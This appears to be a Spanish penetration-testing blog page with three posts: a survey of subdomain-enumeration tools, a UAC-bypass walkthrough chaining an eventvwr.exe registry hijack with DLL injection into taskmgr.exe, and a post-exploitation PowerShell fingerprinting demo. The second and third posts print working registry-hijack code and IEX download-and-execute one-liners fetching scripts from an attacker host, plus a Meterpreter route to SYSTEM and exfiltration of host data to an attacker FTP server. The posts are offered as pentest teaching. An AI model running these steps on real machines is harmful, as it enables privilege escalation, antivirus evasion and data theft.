21 mayo, 2020

Recopilación de herramientas para la enumeración y descubrimiento de subdominios

En un proceso de pentesting de auditoría de caja negra (black box) en un principio no tenemos ningún conocimiento de la infraestructura de servidores y comunicaciones de la organización que vamos a auditar. Nos encontramos en una fase de recopilación de información y escaneo de los activos de la compañía públicos en Internet.

Lo habitual es usar footprinting con recursos web, técnicas de recopilación y análisis OSINT (Open Source Intelligence) intentando obtener la mayor cantidad de información posible y que nos pueda ser de utilidad para avanzar a una fase de enumeración de los sistemas "vivos".

Es importante conocer los subdominios públicos de un dominio principal para así realizar análisis de posibles vulnerabilidades en estos sistemas y encontrar un vector ataque que nos permita cruzar la seguridad perimetral hacia la red interna de la organización, ejecución de código arbitrario, exfiltración de datos, etc.

Probando multitud de herramientas para este fin, he decidido hacer un recopilación comentando aquellas que me parecieron más interesantes para obtener el descubrimiento y enumeración de los subdominios de un dominio principal.

Podemos usar herramientas de recursos web, accesible y rápidas o instalar herramientas en local que dependiendo cual nos mostrará un poco más de detalle, control y harán reconocimientos pasivos y/o activos si así lo definimos.

Las consultas que se realizan a los dominios no es ilegal ya que se trata de información pública en Internet y accesible por todos, siempre y cuando solo busquemos y visualizamos los resultados sin llegar a interactuar maliciosamente y de manera directa.
  • Reconocimiento pasivo: las peticiones no dejará evidencias ni acciones en los logs ya que no se llegaría a interactuar con los objetivos escaneados. Por ejemplo realizar búsquedas usando Google Dorks.
  • Reconocimiento activo: las peticiones o acciones que dejen un rastro registrado en los logs de los objetivos escaneados. Por ejemplo realizar peticiones con diccionarios wordlists de los posibles subdominios.

Recursos Web

DNSDumpsterhttps://dnsdumpster.com/

A parte de los subdominios y sus IPs relacionadas nos devolerá un mapa geoip y los servidor DNS, registros MX y registros TXT. 

DNSDumpster
Figura 1: DNSDumpster.


Nos mostrará todos los subdominios e IPs asociadas, el tipo de servidor, tecnología, tipo de página, a mayores con la versión Pro de pago podremos realizar acciones como escaneo de vulnerabilidades con OpenVAS, URL fuzzer entre otras opciones. 

Pentest-tools
Figura 2: Pentest-tools.


Listará subdominios y en tipo de sistema operativo en el que están alojados, también nos dará la posibilidad de consultar un report de cada subdominio con su IP asociada, geoip, versiones del sitio web y más información. Podemos realizar búsquedas que hagan match con con el término de subdominio que estamos buscando.

Netcraft
Figura 3: Netcraft.


Buscará los simplemente los subdominios asociados a un dominio principal.

IPv4info
Figura 4: IPv4info.


Lista los subdominios y el tipo de registro DNS del que se trata.

RapidDNS
Figura 5: RapidDNS.

Google Hacking

Una manera interesante de poder encontrar subdominios es directamente realizando una búsqueda usando Google Dorks (operadores de búsqueda avanzada). Con el operador "site:" indicamos el dominio a buscar y con "-site:" omitimos los resultados que tengan relación con el subdominio "www."

De esta forma se listarán todos los subdominios excepto los que hagan match con www.
site:web.com -site:www.web.com
Google Hacking - Dork
Figura 6: Google Hacking - Dork para buscar subdominios.

Herramientas locales


Herramienta en python. Realiza diversas búsquedas en buscadores y sitios web para obtener la información.

Instalación de pip (pip es el instalador del paquete para Python).
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
python get-pip.py
Instalación: 
git clone https://github.com/aboul3la/Sublist3r.git
cd sublist3r
pip install -r requirements.txt

python sublist3r.py -h
python sublist3r.py -v -d web.com -o subdomweb.txt
Sublist3r
Figura 7: Sublist3r.


Herramienta en python. Nos mostrará IP, estado, tipo de registro, subdominio y tipo de servicio web.
git clone https://github.com/guelfoweb/knock.git
cd knock/knockpy

python knockpy.py web.com
Knockpy
Figura 8: Knockpy.


Herramienta en python. Busca transferencias de zona, registros TXT, MX, registros DMARC y finalmente realiza un escaneo de registros tipo A mediante wordlists.
git clone https://github.com/rbsec/dnscan.git
cd dnscan

python3 dnscan.py -d web.com
dnscan
Figura 9: dnscan.

Amass - https://github.com/OWASP/Amass

Parte del proyecto OWASP a puede realizar diversas tareas usando recursos OSINT y un reconocimiento activo, entre ellas la búsqueda de subdominios por adivinación basada en similitud de FQDN, transferencias de zona, barrido inverso de DNS y fuerza bruta.

Se puede instalar de manera independiente o usando Docker: 
apt install amass

amass enum --passive -d web.com
Amass
Figura 10: Amass.

Subfinder - https://github.com/projectdiscovery/subfinder

Herramienta en Go. Lista subdominios con un reconocimiento pasivo y actualmente con 26 fuentes donde busca la información.

Descarga: https://github.com/projectdiscovery/subfinder/releases
tar -xzvf subfinder-linux-amd64.tar
mv subfinder-linux-amd64 /usr/bin/subfinder

subfinder -v -d web.com
Dispone de una implementación en Docker: https://github.com/projectdiscovery/subfinder#running-in-a-docker-container

Subfinder
Figura 11: Subfinder.



Findomain - https://github.com/Edu4rdSHL/findomain

Dispone de planes de pago con diversas funcionales, entre ellas la búsqueda continua y activa de subdominios y la notificación de un nuevo dominio. En su versión free simplemente lista los subdominios actuales.
wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-linux
chmod +x findomain-linux

./findomain-linux -t web.com
Findomain
Figura 12: Findomain.

Sudomy - https://github.com/Screetsec/Sudomy

Utiliza la biblioteca cURL para obtener el HTTP Response Body de sitios de terceros para ejecutar la expresión regular y así obtener los subdominios, puede establecerse en un modo de reconocimiento pasivo o activo.

Puede implementarse en Docker. Instalación y dependencias:
https://github.com/Screetsec/Sudomy#installation

Sudomy
Figura 13: Sudomy.


Herramienta en python. A través de diversos motores de búsqueda y sitios web dado un dominio intenta encontrar emails, perfiles en Linkedin, Twitter, Github, virtual hosts, etc. A mayores también muestra subdominios y su IP asociada. 

Está integrado en Kali linux. Instalación independiente: 

theHarvester
Figura 14: theHarvester.

Saludos!

Autor: Adrián Lois

14 mayo, 2020

Bypass UAC usando DLL injection en taskmgr.exe aprovechando un fileless de eventvwr.exe (Vídeo PoC)

En un artículo anterior hablara de un bypass fileless en el binario sdclt.exe, también comentara la posibilidad de realizar este método al binario eventvwr.exe. En esta ocasión mostraré como realizar un bypass de UAC usando un DLL Injection aprovechando un método tipo fileless.

Bypass UAC tipo DLL Hijacking

Existen varios tipos de técnicas DLL Hijacking (sideloading, proxying, phantom), la finalidad es conseguir una escalda de privilegios o persistencia en un sistema. Consiste en hacer un "secuestro" de una DLL por la suplantación de otra DLL que ejecute un código arbitrario que le interese a un atacante. 

Cuando se invoca un proceso binario, este busca en los path por defecto configurados en el sistema en un determinado orden de consultas, si la DLL no es encontrada seguirá buscando en la siguiente ruta hasta encontrar la que necesita. Será en ese momento cuando un atacante se anticipe suplantando la DLL original, que no es encontrada en los paths habituales, por la DLL maliciosa. Si el binario se ejecuta en un contexto de integridad alto se consigue el mismo privilegio para esa DLL.

Es la misma idea que las técnicas fileless, teniendo en cuenta el atributo autoElevate a true en el manifest del binario y teniendo una política por defecto de UAC en Windows. 

DLL hijacking requiere escritura en disco por lo que no es tan silencioso como las técnicas fileless, pudiendo no pasar desapercibido por la detección de antivirus.

Como dije hay varios tipos de técnicas DLL hijacking, entre todas ellas está presente la inyección de una DLL, dependerá del contexto en el que se usen y la forma de aplicarlas. Una diferenciación podría ser algo como: 
  • DLL Hijacking: "Suplantación" -secuestro- de una carga DLL existente en el proceso de ejecución de un binario.
  • DLL Injection: Fuerza la inyección de una nueva DLL en el proceso de un binario ejecutándose.

Aprovechando un bypass UAC fileless para usar DLL injection en binarios que no son vulnerables a fileless

En el siguiente escenario no se realiza un DLL Hijacking, sino que se fuerza la inyección de una DLL maliciosa en un proceso binario existente.

Trataré de explicarlo brevemente. La intención es llevar a cabo una explotación local bypassuac sin ningún tipo de interacción por parte del usuario en la máquina comprometida aprovechando la debilidad fileless de casos como eventvwr.exe a otros binarios del sistema que tengan en su manifiesto el atributo AutoElevate a True pero que de forma simple no tienen un bypass tipo fileless, como es el caso de taskmgr.exe. Al ser un binario que se ejecuta en un contexto de integridad alto, se inyectará una DLL maliciosa que contendrá un payload con un Meterpreter estableciendo así una sesión privilegiada en la que podemos impersonar al usuario consiguiendo privilegios de NT AUTHORITY\SYSTEM.

Resumen de pasos del proceso:
  • 1. Para obtener la sesión inicial de conexión a la máquina remota, se crea con msfvenom un binario que tendrá como payload un Meterpreter Windows 10 x64. Esto nos devolverá una sesión en contexto de integridad medio por lo que no podemos impersonar al usuario con getsystem y elevarnos a SYSTEM.
  • 2. ¿Por qué el binario taskmgr.exe?. Comprobando el manifiesto del binario el atributo autoElevate está a true. Pero no existe bypass fileless para taskmgr.exe, sin embargo si para eventvwr.exe.
  • 3. Desde la sesión Meterpreter cargamos los módulo Powershell y desde powershell_run se ejecuta el proceso del taskmgr.exe en modo oculto (-WindowStyle Hidden).
  • 4. Se consulta el PID del proceso taskmgr.exe y se modifica en el script de la función Invoke-DllInjection alojada en un servidor web apache2 de la máquina Kali, este será el script que se ejecutará cuando se invoque el binario eventvwr.exe.
  • 5. Desde powershell_import importamos el un script "eventvwr-reg.ps1" que creará la estructura de ramas del registro necesario para provocar el bypass fileless de eventvwr.exe, en su valor Default tendrá como dato un IEX (Invoke-Expression) con la creación de un nuevo objeto tipo WebClient que descargará en memoria la función Invoke-DllInjeciton de PowerSploit en una línea final del script se invoca esta función con el PID del proceso de taskmgr.exe que previamente hardcodeamos.
Script eventvwr-reg.ps1
$path = "HKCU:\Software\Classes\mscfile\shell\open\command"
$execute = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c `"IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/codes/invoke-dllinjection.txt')`""
New-Item -Path $path -Force
New-ItemProperty -Path $path -Name '(Default)' -PropertyType String -Value $execute -Force | Out-Null
  • 6. Desde Meterpreter con el comando Upload se envía la DLL que nos interesa a la máquina remota (en escritorio simplemente para que sea visible en momento de mostrar esta demo). Esta DLL contiene un shellcode de Meterpreter.
  • 7. Siguiendo en la sesión 1, desde powershell_shell manualmente se inicia el proceso del visor de eventos, ejecutando así el eventvwr.exe que también ejecutará el IEX y descargará la función en memoria con la instrucción del PID asignado del proceso taskmgr.exe ejecutado anteriormente de forma oculta.
  • 8. Finalmente se establecerá una nueva sesión Meterpreter pero esta vez la sesión establecida en el contexto de integridad alto del proceso de taskmgr.exe, como este tenía un autoElevate a true, podremos ahora impersonar al usuario en la segunda sesión Meterpreter y conseguir la escalada de privilegios a SYSTEM.

Vídeo demo - PoC

En el siguiente vídeo se muestran los pasos anteriores en detalle, llegando a entender mejor el proceso.



Saludos!

Autor: Adrián Lois

08 mayo, 2020

Fingerprinting con PowerShell y envío de información a un servidor FTP (Vídeo PoC)

En un pentesting interno a sistemas, después de la fase de enumeración y poder comprometer una máquina Windows, es fundamental intentar recopilar la máxima información posible sobre dicha máquina, lo que se conoce como la fase de fingerprinting dentro de una post-explotación.

El uso de Powershell nos ayuda principalmente en las fases de post-explotación y fingerprinting para la recolección de información del sistema, usuarios y grupos locales, parches instalados, procesos en ejecución, servicios activos, etc.

En esta ocasión dejo referencia a un script que contiene una función de ejemplo recopilando varios datos de una máquina comprometida y posteriormente enviando estos datos de retorno a un servidor FTP escuchando en la máquina atacante.

Referencia del script Powershell en mi repositorio de Github:

Bypass ExecutionPolicy en Powershell usando funciones

Existen multitud de técnicas para la evasión de la política de ejecución de scripts en Powershell, sobre esto hablaré en otro artículo. Una de ellas es a través del uso de funciones y como se cargan en memoria en el provider de funciones.

Al usar una función a través de un script ps1, podemos importar este script a través de una sesión Meterpreter de Metasploit, cargándose en memoria en el provider de funciones de esa instancia Powershell de la máquina remota. No será necesario subir el script a la máquina remota escribiendo en disco, evitando así una posible detección por parte de los antivirus. Es script llevará como extensión .txt y estará alojado en un servidor web apache2, la forma de importarlo será a través del módulo powershell_shell de Meterpreter, una vez conectados ejecutamos un IEX (Invoke-Expression) con el cmdlet Invoke-WebRequest.
# Powershell v1.0/v2.0
IEX (New-Object Net.WebClient).DownloadString('http://web/script.txt')

# Powershell v3.0 y superiores
IEX (Invoke-WebRequest -Uri 'http://web/script.txt' -UseBasicParsing)
Con una función cargada en memoria podremos hacer un bypass de la política de ejecución de scripts de Powershell, independientemente de cual esté establecida en la máquina remota. 

En el siguiente vídeo se observa como la ExecutionPolicy está establecida en Restricted e igualmente podemos importar el script e invocar la función cargada en memoria.

Vídeo demo - PoC

He grabado un vídeo demo que muestra la PoC en la que se compromete una máquina en una fase de explotación típica a través de un fichero que contendrá el Payload de un Meterpreter y que estaremos a la escucha desde el handler de conexiones para establecer una sesión en Metasploit. Se importa el script en formato .txt con un método Invoke-WebRequest (en este caso el formato no tiene demasiada relevancia podría ser directamente .ps1), de esta forma haremos un bypass de la política de ejecución de Powershell en el caso de que estuviese en modo "Restricted". Este script se cargará como una función en memoria, invocándola desde ahí y evadiendo así la política de ejecución de script, recopilará información y la enviará de vuelta a un servidor FTP que estará a la escucha e la máquina Kali.

Vídeo: https://youtu.be/JY33NkpAaeI


Saludos!

Autor: Adrián Lois